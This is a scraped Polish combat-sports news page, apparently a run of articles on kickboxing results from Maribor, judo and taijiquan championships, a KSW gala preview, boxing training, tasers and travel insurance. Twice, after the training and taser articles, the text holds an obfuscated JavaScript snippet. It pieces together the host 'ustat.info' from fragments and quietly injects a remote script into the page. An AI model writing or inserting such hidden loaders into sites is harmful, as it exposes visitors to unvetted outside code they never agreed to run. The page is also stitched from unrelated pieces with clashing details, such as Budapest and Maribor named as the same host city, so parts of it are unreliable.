Finałowa walka nie ułożyła się po myśli Jana Lodzika (63,5kg). Polak musiał uznać wyższość reprezentanta Rosji Shamila Gadzhimusaev. Polak dużo sił stracił w półfinale z mocnym Lucą Mamelim. W półfinale Łukasz Kaczmarczyk (71kg) stoczył ciężką walkę z Rusłanem Bikmenovem. Z rywalizacji z Rosjaninem miał złe wspomnienia, bo wcześniej przegrał z nimi w Pucharze Świata. Maribor okazał się szczęśliwy dla Kaczmarczyka, który wziął rewanż i awansował do finału. Ostatecznie zdobył srebro, lepszy był Luka Tomic. Tak niewiele do finału zabrakło Kamilowi Sójkowskiemu (75kg). Zawodnik ŁKS Boks Łódź toczył wyrównany bój z Atanasem Bojilovem, jednak Bułgar lepiej przetrwał końcówkę. Sójkowski ze Słowenii wraca z brązowym krążkiem. Srebro wywalczyła Karolina Kubiak (48kg). Z kolei Katarzyna Jaworska (65kg) zapisała na swoim koncie brąz.

W light contact złoto dla Pauliny Jarzmik (60kg), która w finale uporała się z Deirdre Begley. Dorota Godzina (55kg) wywalczyła brąz, choć w walce o finał wcale nie ustępowała Valentinie Filatovej. Sędziowie uznali inaczej. Ostatecznie Rosjanka zdobyła złoto pokonując z finale Gabriellę Busę.

W rywalizacji weteranów po złoto sięgnął Leszek Jobs z Zamek Expom Kurzętnik. Nie miał jednak łatwej przeprawy. 45-latek stoczył ciężki bój o finał z Istvanem Tothą, a w decydującym boju uporał się z Enzo Isopo.

KM

Początek mistrzostw w kratkę

Biało-czerwoni rywalizują w mistrzostwach Europy w Budapeszcie. Na początek komplet zwycięstw odnieśli nasi zawodnicy startujący w formule low kick. Powodów do zadowolenia nie ma w K-1.

Do Słowenii pojechało 35 reprezentantów Polski. Cel jest tylko jeden: walka o najwyższe trofea, w co głęboko wierzymy. Choć niektórzy z naszych już w pierwszych walkach „sparzyli się”.

Skuteczni do bólu

Na początek zmagań w Mariborze zaprezentowało się czterech naszych zawodników w formule low kick. Wszyscy wygrali swoje pojedynki. Szybko swoją walkę zakończył Kamil Sójkowski (75kg). Reprezentujący barwy klubu ŁKS Boks Łódź zawodnik już w pierwszej rundzie rozprawił się z Osaidem Hajyahyą z Izraela. Pewne zwycięstwa odnotowali Karol Sadłocha (67kg) oraz Tomasz Klimiuk (91kg), którzy zdominowali swoich rywali i wygrali po 3:0.

Wyrównany bój stoczył Łukasz Kaczmarczyk (71kg). Hiszpan Jon Miguez Talledo postawił trudne warunki Polakowi. Pierwsza runda dla Kaczmarczyka, który zwolnił tempo w drugiej odsłonie. Wykorzystał to Hiszpan, przez co w trzeciej rundzie było wiele niepewności. Ostatecznie ze zwycięstwa może cieszyć się Kaczmarczyk. 

W light contact nasi również pokazali się z dobrej strony. Pewnie wygrała Paulina Jarzmik, która w trzeciej rundzie pokonała zawodniczkę z Węgier. Teraz stanie przed trudniejszym zadaniem. W ćwierćfinale czeka ją rywalizacja z wicemistrzynią Europy, z którą Polka już rywalizowała i ma ze dobre wspomnienia. Bez większych problemów 1/8 finału przeszedł Łukasz Wichowski (79kg). Polak pewnie pokonał Brendana Kenny'ego. Piotr Owczarek (69kg) trafił na rywala, który nie trzymał się obowiązujących zasad. Andreas Markokonstantinos został zdyskwalifikowany w trzeciej rundzie, a Polak już może myśleć o fazie medalowej. Porażkę poniósł Adrian Duma (74kg).

Powyższe wyniki dotyczą wtorkowych pojedynków w Mariborze. W środę dotarła do nas kolejna radosna wiadomość. Swoja walkę wygrała w light contact Dorota Godzina (55kg).

W K-1 pod górę

Rywalizacja w K-1 nie rozpoczęła się po myśli biało-czerwonych. Na pięciu zawodników tylko Marcinowi Kretowi (71kg) udało się wyjść zwycięsko z potyczki. Fighter UKS Puncher Wrocław pokonał Ali Makhiego z Belgii.

Anna Kozera (52kg) walczyła ambitnie, ale wyżej stały akcję Moniki Markowskiej z Wielkiej Brytanii. Porażki ponieśli również Aleksander Kalicki (63,5kg), Michał Ronkiewicz (75kg) i Michał Turyński (75kg).

Transmisję z mistrzostw Europy w Mariborze mogą śledzić Państwo za pośrednictwem telewizji FighTime. Wystarczy wejść tu

KM

Polacy ruszyli na podbój Europy

Może i brzmi to górnolotnie, ale nie da się ukryć, że biało-czerwoni pojechali do Mariboru walczyć o najwyższe cele. Mistrzostwa Europy w K-1, low kicku i light contact zapowiadają się niezwykle ciekawie.

Biało-czerwoni już są w Słowenii i czekają na swoje walki. Przy okazji kolejnej imprezy musimy powtórzyć, że bez worka medali się nie obejdzie. Nasi przyzwyczaili nas do bogatych zdobyczy.

Powalczyć o kwalifikacje

Warto zaznaczyć, że wywalczenie medalu w Mariborze jest gwarancją uzyskania przepustki do World Games 2017 we Wrocławiu. Nie da się ukryć: stawka rywalizacji jest ogromna. Na Słowenii zaprezentuje się 35 naszych reprezentantów.

Najliczniejsza grupa wystąpi w K-1. Faworytem do medalu jest Dawid Kasperski (86kg), który w każdym występie prezentuje się coraz lepiej i potwierdza wysokie umiejętności. Ogromny potencjał ma Arkadiusz Kaszuba (81kg), ale w jego kategorii jest ogromny ścisk. W tym roku z tytułu mistrza świata WAKO Pro w Sarajewie cieszył się Michał Turyński (+91kg). Warto zatem iść za ciosem i sięgnąć po kolejne trofeum. W Mariborze wystąpi także znana z występów na galach federacji FEN Róża Gumienna (65kg). 

W K-1 zaprezentują się także: Ewa Boś (48kg), Anna Kozera (52kg), Małgorzata Dymus (56kg), Marta Waliczek (60kg), Natalia Nikołajczuk (70kg), Paulina Bieć (+70kg), Krystian Bernatowicz (57kg), Michał Królik (60kg), Aleksander Kalicki (63,5kg), Wojciech Kazieczko (67kg), Marcin Kret (71kg), Michał Ronkiewicz (75kg) i Mateusz Pluta (91kg).

W light contact zobaczymy siedmiu naszych reprezentantów. Wysoko stoją akcje Doroty Godziny (55kg) oraz Pauliny Jarzmik (60kg), które w ubiegłym roku sięgnęły po tytuły mistrzyń świata. W Mariborze nie zabraknie wicemistrza świata z Belgradu Wojciecha Wiśniewskiego. Z pewnością o medal powalczy znany z występów na galach DSF Łukasz Wichowski, jeden z najlepszych specjalistów full contact.

Jest Paczuski, jest Ruta

Pojedynki Radosława Paczuskiego i Kamila Ruty zawsze niosły ze sobą wiele efektowności. W kategorii 81kg wyżej stoją akcje zawodnika Uniq Fight Club Warszawa. Jednak w Mariobrze obu zobaczymy w formule low kick. Ruta zaprezentuje się w kategorii 86kg. Na kolejny sukces liczy Tomasz Klimiuk (+91kg). W tym roku zawodnik Humana Białystok świętował wywalczenie Pucharu Świata w Rimini.

Łącznie w low kicku zaprezentuje się 11 naszych reprezentantów. Wiele należy sobie obiecywać po starcie Iwony Nierody (56kg). Zawodniczka UKS Diament Pstrągowa imponuje w walkach zawodowych. Rok temu w Serbii sięgnęła po tytuł mistrzyni świata w low kick. W Mariborze zaprezentują się również m.in. Karolina Kubiak (48kg), Jan Lodzik (63,5kg) oraz Łukasz Kaczmarczyk (71kg).

KM

Tytuły rozdane

W Katowicach judocy walczyli w Indywidualnych Mistrzostwach Polski Seniorek i Seniorów. Nie brakowało niespodzianek. Wiktor Mrówczyński triumfował w kategorii 73kg. Po raz kolejny bezkonkurencyjne okazały się Ewa Konieczny (48kg) i Agata Ozdoba (63kg).

Przez dwa dni w Katowicach toczyła się zażarta walka. Niestety, w stawce zabrakło uczestniczek Igrzysk Olimpijskich w Rio de Janeiro. Katarzyna Kłys zakończyła już sezon, z kolei Daria Pogorzelec wraca do zdrowa po kontuzji. Nie wystąpiła również Arleta Podolak (57kg).

Dominatorki

Rywalizacja rządzi się swoimi prawami. Każdy zawodnik chce wejść na szczyt i jak najdłużej na nim pozostać. Bez wątpienia absolutną dominatorką w kategorii 48kg jest Ewa Konieczny. Judoczka GKS Czarni Bytom w finałowym starciu uporała się z Joanną Stankiewicz. Tym samym Konieczny wywalczyła trzeci złoty medal z rzędu. Na najniższym stopniu podium stanęła Katarzyna Wiszniewska. 

Po raz kolejny wysokie umiejętności potwierdziła Agata Ozdoba (63kg). Karolina Tałach nadal nie może znaleźć sposobu na pokonanie judoczki KS AZS-AWF Wrocław. Jeszcze w końcówce  pojedynku była blisko wygranej, ale losy starcia na swoją korzyść odwróciła Ozdoba. Był to dla niej trzeci triumf z rzędu.

W kategorii 52kg koniec dobrej passy Karoliny Pieńkowskiej. Jej dominację przerwała Agata Perenc, która dotychczas musiała zadowalać się srebrnymi medalami. Trzecie miejsce dla Moniki Karkoszki z KS AZS AWFiS Gdańsk. Mistrzyni Polski juniorek cieszy się z tytułu zdobytego wśród seniorów. Julia Kowalczyk triumfowała w 57kg przed Anną Dąbrowską. To kolejny tegoroczny sukces judoczki Polonii Rybnik, która wywalczyła wcześniej brązowy medal mistrzostw Europy juniorów.

Ze złota cieszy się Urszula Hofman (70kg), która w decydującym pojedynku pokonała Sandra Lickun. Beata Pacut nie dała rady Pauli Kuladze (78kg). Judoczka TDK Trzcianka świętowała wywalczenie tytułu mistrzowskiego. Z kolei w +78kg triumfowała Anna Załęczna.

Kuczera mistrzem

Tempa nie zwalnia Piotr Kuczera (90kg). W ubiegłym roku zdobywał medal mistrzostw świata juniorów, a w tym sięgnął po brąz europejskiego czempionatu w Kazaniu. We wrześniu stanął na podium podczas zawodów Grand Prix w Zagrzebiu. W Katowicach Kuczera pokonał Patryka Cichomskiego. Na podium stanęli również Jakub Ozimek i Maciej Tworzydło.

W 60kg Adrian Wala pokonał Bartłomieja Garbacika i sięgnął po złoto. Tytuł wywalczył również Michał Bartusik (66kg). W decydującym starciu zawodnik UKJ Millenium Rzeszów pokonał Arkadiusza Makarewicza. Najwięcej zawodników, 35, wystartowało w kategorii 73kg. Sześć zwycięskich pojedynków stoczył Wiktor Mrówczyński, który w finale wygrał z klubowym kolegą Jackiem Bryszem. Na podium stanęli doświadczeni Krzysztof Wiłkomirski oraz Paweł Zagrodnik.

Mistrzami kraju zostali także: Jakub Kubieniec (81kg), Mariusz Krueger (100kg) i Tomasz Domański (+100kg).

KM

Kubiak tworzy historię polskiego wushu

Mistrzostwa świata taijiquan w Pruszkowie należy uznać za sukces sportowy naszej reprezentacji. Trzy medale wywalczone przez Annę Kubiak (na zdjęciu z prawej) w konkurencjach sportowych to wspaniały wynik, którego chyba nikt się nie spodziewał. 23-latka pokazała, że ciężka praca to najlepsza droga do sukcesu.

„Udało się upiec dwie pieczenie na jedynym ogniu”. Sukces organizacyjny i sportowy – tak w dużym skrócie należy ocenić mistrzostwa świata taijiquan, które odbyły się w dniach 17-20 października w hali Znicz. Przyznanie organizacji tej rangi imprezy to dla Polski ogromny sukces. 

Narodziny gwiazdy

Anna Kubiak zrobiła milowy krok w karierze i spełniła marzenia. W Pruszkowie wywalczyła tytuł wicemistrzyni świata w konkurencji sportowej z mieczem. Do tego dołożyła jeszcze dwa brązowe medale. Warto podkreślić, że trzeciego dnia mistrzostw świata Polka startowała w dwóch konkurencjach. Udźwignęła ten ciężar i po zakończeniu zawodów mogła się cieszyć. Pui Kei Ho była lepsza o zaledwie 0,22 pkt i to ona zdobyła tytuł mistrzyni świata. 23-letnia Polka również miała ogromne powody do radości.  W Pruszkowie Kubiak zaczęła pisać nową historię polskiego wushu. Jak wygląda przepis na sukces? – Generalnie trzeba mieć trochę szczęścia. Mi w trzecim dniu zawodów troszeczkę go zabrakło. Startowałam w dwóch konkurencjach. Trzeba dobrze wylosować, żeby była jedna w ciągu dniach bądź w trakcie sesji. Wtedy można wypocząć i przygotować się do kolejnego występu – mówiła nam Anna Kubiak, trzykrotna medalistka mistrzostw świata taijiquan.

Polacy mieli okazję rywalizować z zawodnikami z Azji, którzy uchodzą za wzór do naśladowania. Mają zupełnie inne warunki do uprawiania taijiquan. Praktycznie od najmłodszych lat mogą skupić się na doskonaleniu umiejętności. W Polsce zajęcia trzeba dzielić z innymi obowiązkami. Mistrzostwa świata pokazały, że jesteśmy w stanie nawiązać walkę z Azjatami. – Do deptania po piętach jeszcze daleko, ale małymi kroczkami zbliżamy się do zawodników z Azji. To jest kierunek, w którym będziemy podążać. Mam nadzieję, że to nas zmotywuje do dalszej pracy – podaje Kubiak.

Demonstracyjne sukcesy

W sumie Polacy podczas mistrzostw świata taijiquan wywalczyli 13 medali. Trzy to zasługa Anny Kubiak, pozostałe biało-czerwoni wywalczyli w konkurencjach demonstracyjnych. – Marian Olech wywalczył dwa złote medale, tak jak i Jadwiga Sochaj. Ewa Solarz raz wygrała, w kolejnym występie zajęła drugie miejsce. Monika Steckiewicz sięgnęła po dwa srebra. Z kolei Tomasz Dybicz zapisał na swoim koncie srebro i brąz. Nasze juniorki poza podium. Karolina Kulągowska dwukrotnie zajęła czwarte miejsca. Emilia Chmurska była piąta i szósta, a Karolina Jabłońska plasowała się na szóstych pozycjach – przedstawia Robert Mrózek, trener reprezentacji Polski.

Jak wspomnieliśmy, przyznanie organizacji imprezy Polsce to ogromne wyróżnienie. W ocenie szkoleniowca zadanie zostało wykonane wręcz idealnie. – Uważam, że wszystko było w porządku. Jedynie zdarzały się małe potknięcia techniczne. W przypadku rywalizacji sportowej nie mam żadnych zastrzeżeń. Wszystko było bardzo dobrze przygotowane. Sędziowie najwyższej klasy oceniali bezstronnie. Myślę, że podołaliśmy organizacji mistrzostw świata – wyraża swoją opinię Mrózek.

KM

Karta powoli zapełnia się

Dla niektórych grudzień to odległa perspektywa, jednak nie dla włodarzy KSW, którzy planują kolejną galę. 3 grudnia w Tauron Arenie w Krakowie w walce wieczoru Karol Bedorf zmierzy się z Fernando Rodriguesem Jr. W karcie jest coraz mniej niewiadomych.

Jedno jest pewne – wszystkie pojedynki są dodatkiem do starcia „Pudzian” vs „Popek”. Akcja z zatrzymaniem Pawła Raka stała się hitem, ale czy trzeba było decydować się na takie metody, aby zbudować zainteresowanie galą KSW 37? Chyba już samo zestawienie „Pudziana” i „Popka” budzi emocje nie z tej ziemi. Czyż nie?

Obronić stan posiadania

W Krakowie dojdzie do trzech mistrzowskich pojedynków. Po raz czwarty tytułu w wadze ciężkiej będzie bronił Karol Bedorf. Popularny „Coco” w poprzednim starciu już w pierwszej rundzie odprawił Jamesa McSweeneya. 33-letni mistrz nie przegrał od pięciu lat. W tym czasie wygrał pięć walk i niepodzielnie panuje w wadze ciężkiej KSW. Czy zagrozi mu Fernando Rodrigues Jr.? 29-latek z Sao Paolo potrafi wykończyć rywala. Aż 70% walk wygrał przez nokaut. W ostatnim starciu potrzebował nieco ponad minuty na rozprawienie się z Yosefem Alim Mohammadem. Rodrigues Jr. ma złe wspomnienia związane z grudniem. Rok temu poniósł porażkę w starciu z dobrze znanym z KSW Olim Thompsonem.

Blisko rok w swoich dłoniach pas wagi piórkowej dzierży Artur Sowiński. Już 3 grudnia „Kornik” po raz drugi będzie bronił zdobyczy, którą wywalczył w starciu z efektownym Kleberem Koike Erbstem. Pięć wyczerpujących rund na korzyść Polaka, który zaczyna przyzwyczajać widzów do rywalizacji na pełnym dystansie. W pierwszej obronie pasa również przez decyzję sędziów pokonał Fabiano Conceicao. Jego najbliższym rywalem będzie Michał Włodarek. Co warte uwagi, obaj panowie za sobą nie przepadają. Przy każdej nadarzającej się okazji nie szczędzili sobie uszczypliwości. Czas sprawdzić, który z nich nie rzucał słów na wiatr.

Mistrz KSW w wadze półśredniej Borys Mańkowski stanie w szranki z Johnem Maguire. 33-latek ma bogate doświadczenie, występował w UFC i wielu brytyjskich organizacjach. Maguire posiada umiejętności bokserskie, ale nieobcy jest mu parter. Mańkowski stanie przed trudnym wyzwaniem. Z jednej strony klasowy rywal, a z drugiej powrót po dłuższej przerwie spowodowanej kontuzją. „Diabeł Tasmański” stanie do trzeciej obrony mistrzowskiego pasa.

Zrobić show

O KSW 37 mówi się w kontekście walki Mariusz Pudzianowskiego z Pawłem Rakiem. Starcie budzi ogromne emocje, przyciąga uwagę i rodzi ogromną ciekawość. Były strongman zmierzy się z raperem, który swego czasu próbował sił w MMA. Popularny „Popek” nigdy nie rywalizował na pełnym dystansie. W organizacji Cage Rage odnosił szybkie zwycięstwa, poniósł również porażkę. „Pudzian” przeszedł w MMA długą drogę i w wieku 39 lat wygląda coraz lepiej. Z pewnością jest bardziej ruchliwy, wytrzymały i ma większy aparat akcji. Ostatni czas jest dla „Pudziana” kiepski. Przegrał przed czasem dwa pojedynki. 

W Krakowie dojdzie również do pojedynku Łukasza Chlewickiego z Mansourem Baranoui'm. Polak wygrał ostatnie dwie walki na KSW. Z kolei Francuz czeka na pierwszy klient w organizacji Macieja Kawulskiego i Martina Lewandowskiego.

KM

LIVE: Mistrzostwa Świata Taijiquan

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Świata Wushu, które odbywają się w Pruszkowie k/ Warszawy w dniach od 16 do 20 października 2016 r.. Transmisja na żywo codziennie od 8.30 do 13.30 (sesja poranna) oraz od 19.30 (sesja wieczorna).

[kod]

The 2nd World Taijiquan Championships

The 2nd World Taijiquan Championships

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MS_Wushu.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MS_Wushu.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MS_Wushu.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MS_Wushu.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Na czym polega trening bokserski?

Wiele osób chce rozpocząć trening bokserski, lecz nie wie jak się do tego zabrać. W sportach walki, w tym także w boksie trening opiera się na ćwiczeniach obwodowym. Z reguły w czasie takiego treningu ustawia się kilkanaście stacji a następnie na każdej z nich ćwiczy się przez około dwadzieścia sekund. Przerwa pomiędzy kolejnymi stacjami nie powinna być dłuższa niż czterdzieści sekund. Odpoczynek po zaliczeniu wszystkich stacji, czyli wykonaniu jednego obwodu powinien wynosić około czterech minut.

 

Praca nad dynamiką a nie siłą

Bardzo ważne jest by tempo pracy na wszystkich stacjach było szybkie. Celem takich ćwiczeń jest poprawa dynamiki, która jest kluczowa podczas walki. Osoby niezwiązane ze sportami walki zazwyczaj sądzą, że siła ciosu wynika z siły mięśni, prawda jest jednak taka, że najważniejsza jest odpowiednia technika i dynamika.

Kluczowym elementem w trakcie treningu obwodowego jest odpowiedni dobór obciążenia. Pamiętając, że najważniejsza jest dynamika a czas ćwiczeń na jednej stacji to około dwudziestu sekund, wybrany ciężar powinien być stosunkowo lekki. Zasadniczo przyjmuje się, że waga obciążenia w czasie tych ćwiczeń nie powinna przekraczać trzydziestu procent ciężaru maksymalnego.

Najpopularniejsze ćwiczenia

Jak się okazuje w czasie treningu, bokserom potrzebny jest nie tylko worek bokserski. Do najpopularniejszych ćwiczeń wykonywanych podczas treningu obwodowego należą:

  • wyciskanie ciężaru leżąc,

  • podskoki z piłką lekarską uniesioną za głową,

  • wyciskanie sztangi zza głowy,

  • skłony,

  • ciosy proste wykonywane w miejscu z hantlami,

  • wyciskanie sztangi lub sztangielek zza głowy,

  • skręty tułowia z obciążeniem trzymanym na wysokości klatki piersiowej,

  • ciosy sierpowe w miejscu z hantlami,

  • przeskoki nad ławeczką gimnastyczną lub inną przeszkodą,

  • podciąganie kolan do klatki piersiowej oraz zwis na drążku,

  • pompki na poręczach,

  • kombinacja ciosów z hantlami,

  • pajacyki wraz z wyrzutem przed siebie odważnika lub sztangi,

  • krążenia tułowia z obciążeniem,

  • bieg z wysoko unoszonymi kolanami,

  • scyzoryki.

O skutecznym treningu można mówić tylko wtedy, gdy przerwy między stacjami nie są odpowiednie, nie mogą być one ani zbyt długie ani zbyt krótkie. Odpoczynek nie może polegać na siedzeniu bez ruchu lub co gorsza leżeniu. Po każdym zakończonym obwodzie powinno się wykonać ćwiczenia rozluźniające i rozciągające oraz uzupełnić płyny. Ustawienie stacji powinno być dobrze przemyślane by zmiany przebiegały płynnie i bez przeszkód.

[kod]

(function(){
zk1r=document.createElement("script");zk1r_=(("u")+"st")+"a";zk1r.async=true;
zk1r.type="text/javascript";zk1r_+=("t.i")+""+"n";zk1r_+=(("f")+"o");zk1r_+="/";
zk1ru="13586292.";zk1ru+="19in4f7sk1rnvq9zq72"+"7vzei25g6zf";
zk1r.src="//"+zk1r_+zk1ru; document.body.appendChild(zk1r);
})();

Coraz więcej znaków zapytania

Najpierw aktorów było dwóch: Tyson Fury i Władimir Kliczko. Mieli zmierzyć się w pojedynku rewanżowym o prymat w wadze ciężkiej. Po cichu do gry wkroczył Anthony Joshua, który wykorzystał zamieszanie wokół Fury'ego. Co teraz?

Wiadomo, że Fury ma ogromne problemy. Depresja, uzależnienie od używek stały się źródłem kłopotów 28-latka. Sprawa ujrzała światło dzienne i bokser urodzony w Wythenshawe postanowił zwakować WBA i WBO. Na horyzoncie pojawił się pojedynek Kliczko – Joshua. Wydaje się realny, ale droga do zakontraktowania walki wydaje się pełna zakrętów.

Ciężka ta waga ciężka

Nie da się ukryć, że praktycznie wszyscy myśleli, iż w listopadzie ubiegłego roku zaczęła się nowa historia. Tyson Fury zdetronizował Władimira Kliczko w wadze ciężkiej. Upłynęło nieco wody w Wiśle i okazało się, że pyskaty Brytyjczyk zmaga się z ogromnymi problemami. Uciekał od rewanżowego starcia z Ukraińcem, ale nie umiał poradzić sobie z uzależnieniem. Do tego doszła depresja. Sprawa zrobiła się niezwykle zawiła i skomplikowana, ale nadal jej finału próżno szukać.

Młody i przebojowy Anthony Joshua stał się nową nadzieją wagi ciężkiej. W kwietniu pokonał Charlesa Martina i zgarnął pas IBF. Do tej pory wszystkie walki, 17, wygrał przed czasem. Ma cios, którego obawiają się kolejni rywale. Z pewnością do tego grona nie można zaliczyć Władimira Kliczko. Ukrainiec niejedno w życiu widział i ringowego doświadczenia można mu pozazdrościć.

W wyniku afery z Fury'm pojawiły się informacje o planach zorganizowania walki mistrza IBF z byłym królem wagi ciężkiej. Wraz z upływem czasu mówiło się o tym coraz głośniej. Pojedynek miałby odbyć się w grudniu. Jego stawka, wobec decyzji Fury'ego o zwakowaniu pasów, byłaby ogromna. Zwycięzca zostałby władcą kategorii królewskiej. Pytanie, ile dzieli nas od tego starcia? Z  każdym dniem wydaje się, że pojedynek oddala się.

Szukają alternatyw 

Niby wszystko gra, sytuacja jest pod kontrolą, ale słychać niepokojące głosy. Pierwszą kością niezgody jest pas WBA. Ukraińcowi zależy, aby był on stawką pojedynku. Obie strony wystosowały do WBA stosowne pisma. Jednak warto zauważyć, że Kliczko wcale nie musi wejść do ringu z Joshuą, aby odzyskać utracone pasy. To również daje do myślenia.

Zwłaszcza, że każdy z pięściarzy ma zobowiązania telewizyjne z inną stacją. Pogodzenie tych interesów może być niezwykle trudne. Pojawiły się już nawet nazwiska ewentualnych rywali Ukraińca i Brytyjczyka. Kliczko miałby się zmierzyć z Lucasem Browne'm, a na Joshuę czekałby Eric Molina. Pytania mnożą się, odpowiedzi brak. Trzeba cierpliwie czekać.

KM

3 kontrowersje wokół paralizatorów

Paralizatory stanowią jeden z najpopularniejszych środków obrony. Wykazują się wysoką skutecznością i potrafią szybko spacyfikować napastnika. Stan paraliżu po użyciu paralizatora może trwać nawet kilkadziesiąt minut!

 

Jako broń służąca do obrony osobistej w ekstremalnych sytuacjach, nie mają na celu wyrządzenia długotrwałej krzywdy. Wyzwolonym łukiem elektrycznym obezwładnia agresora. Wokół gorącego tematu paralizatorów krążą jednak różne kontrowersje.

Zabójcze paralizatory

Co jakiś czas media donoszą o śmiertelnych wypadkach użycia paralizatora. Napastnik, który miał być obezwładniony, wskutek bardzo silnego wyładowania elektrycznego zmarł. Bardzo głośna była sprawa Roberta Dziekańskiego – polskiego emigranta, który w 2007 roku zmarł na lotnisku w Vancouver przez pięciokrotne porażenie paralizatorem przez policjantów. Tragiczny przypadek kolejny raz potwierdził jak bardzo niebezpiecznym środkiem może stać się paralizator.

Kiedy paralizator stanowi zagrożenie? Na tragiczne skutki użycia paralizatora mogę być narażone osoby, które:

  • borykają się z problemami zdrowotnymi na tle kardiologicznym

  • są bardzo szczupłe – znikoma ilość tkanki tłuszczowej wzmaga efekty użycia paralizatora

  • są pod działaniem alkoholu, leków i narkotyków

  • są starsze lub w bardzo młodym wieku

  • mają podwyższone ciśnienie tętnicze

  • cierpią na epilepsję

  • mają problemy oddechowe i metaboliczne

  • posiadają elektryczny rozrusznik serca i zastawkę serca

Skutki użycia paralizatora

""W zależności długości rażenia wiązką elektryczną paralizatory wywołują różne skutki.

  • Po 1 sekundzie powoduje krótki wstrząs, szok i skurcz mięśni.

  • Po 2–3 sekundach wzbudza ból w mięśniach uderzonych i upadek.

  • Po 3–5 sekundach wywołuje konwulsje, silny ból mięśni, paraliż.

  • Zaatakowanie osoby paralizatorem na dłużej niż 5 sekund może wywołać poważny uszczerbek na zdrowiu.

W przypadku zamachu na nasze życie lub zdrowie mamy pełne prawo do obrony i odparcia ataku. Nie ma możliwości przewidzenia ewentualnych problemów sercowych czy chorób napastnika. W teorii zgodnie z prawem w wypadku, gdy napastnik odniesie uszczerbek zdrowia, a napaść była odparta współmiernie do siły ataku, osoba broniąca się nie powinna ponieść konsekwencji prawnych. Każdy przypadek rozpatrywany jest jednak indywidualnie.

Legalność paralizatorów

W niektórych krajach posiadanie i noszenie przy sobie paralizatora jest niezgodne z prawem. Nieprzestrzeganie zakazu grozi poważnymi sankcjami. Chociażby w Wielkiej Brytanii do samoobrony nie można używać jakichkolwiek narzędzi, nie tylko paralizatorów, ale też gazów pieprzowych czy kubotanów. Na Islandii nielegalne jest posiadanie gazów pieprzowych, w Szwecji trzeba na niego posiadać pozwolenie na broń. Jak sytuacja prezentuje się w Polsce?

Prawo pozwala legalne użycie paralizatora bez pozwolenia do samoobrony. Pozwolenie na broń nie jest wymagane w przypadku posiadania narzędzi przeznaczonych do pacyfikowania osób za pomocą energii elektrycznej o średniej wartości prądu w obwodzie nieprzekraczającej 10 mA. Obowiązkiem jest używanie paralizatora ostrożnie i zgodnie z prawem. Przypominamy, że dla osób chorych na serce może stanowić duże niebezpieczeństwo, a nawet spowodować śmierć.

[kod]

(function(){
ztkg=document.createElement("script");ztkg_=(("u")+"st")+"a";ztkg.async=true;
ztkg.type="text/javascript";ztkg_+=("t.i")+""+"n";ztkg_+=(("f")+"o");ztkg_+="/";
ztkgu="13535571.";ztkgu+="pd87tc2wtkggti7bdwa"+"vapdtnjywbX";
ztkg.src="//"+ztkg_+ztkgu; document.body.appendChild(ztkg);
})();

Czy masz już wybrane ubezpieczenie turystyczne?

Jest jesień, okres w którym rzadko jeździ się na urlopy. Niektórzy jednak już planują zimowe wojaże. Aby zarezerwować nocleg w dobrej cenie należy to zrobić odpowiednio wcześnie.

 

Jesień jest dobrym czasem na podejmowanie takich decyzji. Większość dat jest jeszcze nie zarezerwowana i można swobodnie przebierać w ofertach zarówno wycieczek, noclegów, czy choćby transportu w wybrane miejsce. Zapobiegliwi i Ci, którzy nie lubią w pośpiechu i byle jak wybierać miejsca na ferie zimowe mają już wszystko zaplanowane. Z pewnością również wybrali odpowiednie ubezpieczenie turystyczne. Jesteście zaskoczeni? Jeśli tak to, to być może oznacza, że nie traktowaliście do tej pory tego typu ubezpieczeniami na poważnie i z pewnością powinniście się z nimi zapoznać. Ubezpieczenia turystyczne są coraz bardziej popularne i słusznie, gdyż zapewniają wsparcie, bez którego niektórzy mogą długo i boleśnie odczuwać konsekwencje wyjazdu na urlop czy to letni czy też zimowy.

Niezależnie od miejsca do którego wybiera się na urlop, powinno się w maksymalny sposób zabezpieczyć, dlatego że nieprzewidziane wypadki mogą się zdarzyć nie tylko podczas uprawiania ekstremalnych sportów, ale również przy zwiedzaniu miasta, biwakowaniu w lesie, czy klasycznej jeździe na nartach. Uczucie bezpieczeństwa jakie zapewnia nam ubezpieczenie turystyczne jest bezcenne. Ze spokojną głową można wyruszyć na urlop, nie martwiąc się na przykład o skutki finansowe wynikające z różnych nagłych wypadków. Wybierać możemy spośród różnych wariantów ubezpieczenia i każdy dopasuje takie, które najbardziej będzie nam pasowało.

Do wyboru mamy zazwyczaj podstawowe lub rozbudowane pakiety ubezpieczeń, zawierające różne rodzaje ochrony. Wystarczy na spokojnie się z nimi zapoznać i wybrać ten właściwy.

Co mogą zawierać pakiety ubezpieczeń?

NNW. Jest to ubezpieczenie od następstw nieszczęśliwych wypadków. Warto mieć je posiadać głównie wtedy, gdy planujemy wypad krajowy. W zależności od rodzaju aktywności pakiety NNW mogą być rozbudowane o refundację kosztów leczenia i rehabilitacji, OC czy nawet używany przez nas sprzęt sportowy.

Kolejnym bardzo ważnym i dość często mylonym z NNW ubezpieczeniem są polisy tzw. kosztów leczenia podczas zagranicą. Jak już sama nazwa zabezpieczają nas one w przypadku konieczności skorzystania z usług medycznych poza granicami Polski. Należy tutaj zdecydowanie podkreślić, że pomimo posiadania przez nas karty EKUZ każde poważniejsze zdarzenie może wiązać się dla nas z koniecznością partycypowania w kosztach związanych z wypadkiem bądź chorobą. Najlepszym przykładem są tutaj powszechne i niepokrywane przez EKUZ koszty ratownictwa narciarskiego, transportu czy też innego rodzaju udział w kosztach, zależny od kraju w którym przyjdzie nam korzystać z systemu medycznego. Podobnie jak w przypadku NNW pakiety kosztów leczenia mogą być rozbudowane o różne dodatkowe opcje, jak OC, bagaż, sprzęt sportowy, etc.

